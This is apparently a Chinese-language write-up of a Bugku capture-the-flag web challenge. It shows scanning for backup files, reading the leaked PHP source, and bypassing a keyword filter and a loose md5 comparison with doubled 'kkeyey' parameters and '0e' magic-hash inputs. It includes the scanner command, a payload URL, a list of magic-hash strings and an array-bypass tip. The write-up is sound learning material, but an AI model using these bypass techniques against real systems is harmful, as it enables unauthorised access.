题目进去就一串意义不明的字符,由两段相同的字符组成
简单看一下F12 ,也没有什么有价值的
然后从题目得知,这题应该是看网页备份文件
通常备份文件名后缀为 “.bak”
可以尝试用御剑之类的工具进行扫描,或者随便输入几个常见的备份名碰运气
我这里使用 SourceLeakHacker.来进行扫描
python3 sourceleakhackeer.py --url=http://123.206.87.240:8002/web16/ --threads=8 --timeout=8
#线程8 超时8
扫到了3个可用的,分别为
http://123.206.87.240:8002/web16/flag.php
http://123.206.87.240:8002/web16/index.php
http://123.206.87.240:8002/web16/index.php.bak
尝试以下范围flag.php ,无内容
然后访问index.php.bak
自动下载了一个备份文件下来,用vsc打开,是一串php代码,用注释简单分析一下
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php"; #包含flag.php文件
ini_set("display_errors", 0); #不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?'); #判断url是否有问号,有就将url赋值给str
$str = substr($str,1); #将第一位字符后面的值赋给str,也就是问号后的值
$str = str_replace('key','',$str); #将str里的字符key替换为空
parse_str($str); #解析字符串
echo md5($key1); #输出md5加密后的key1
echo md5($key2); #输出md5加密后的key1
if(md5($key1) == md5($key2) && $key1 !== $key2){ #if判断条件为,md5加密后的key1和key2相等,且key1不等于key2
echo $flag."取得flag"; #输出flag
}
?>
从代码得知,要取得flag,md5 加密后的key1和key2值要相等
这时需要知道以下几个点:
1.php弱类型,当 == 在进行比较的时候,会先将字符串类型转化成相同,再比较。
2.PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。这时去对比,就会相等
这里列出几个0e开头的md5值
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
知道了这些条件,然后我们就开始尝试获取 flag
我们需要传入key1,key2两个参数,由以上分析得知需要双写key绕过
构造url (注:url传入多个参数用 & 隔开)
http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=s155964671a
拿到 flag Bugku{OH_YOU_FIND_MY_MOMY}
-
知识点:
-
1.strstr() 函数,搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
-
2.substr() 函数,返回指定位置后的字符串
-
3.str_replace() 函数,字符串替换
-
4.php弱类型:
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较 -
5.md5值对比漏洞
md5无法处理数组,所以构建数组也可以进行绕过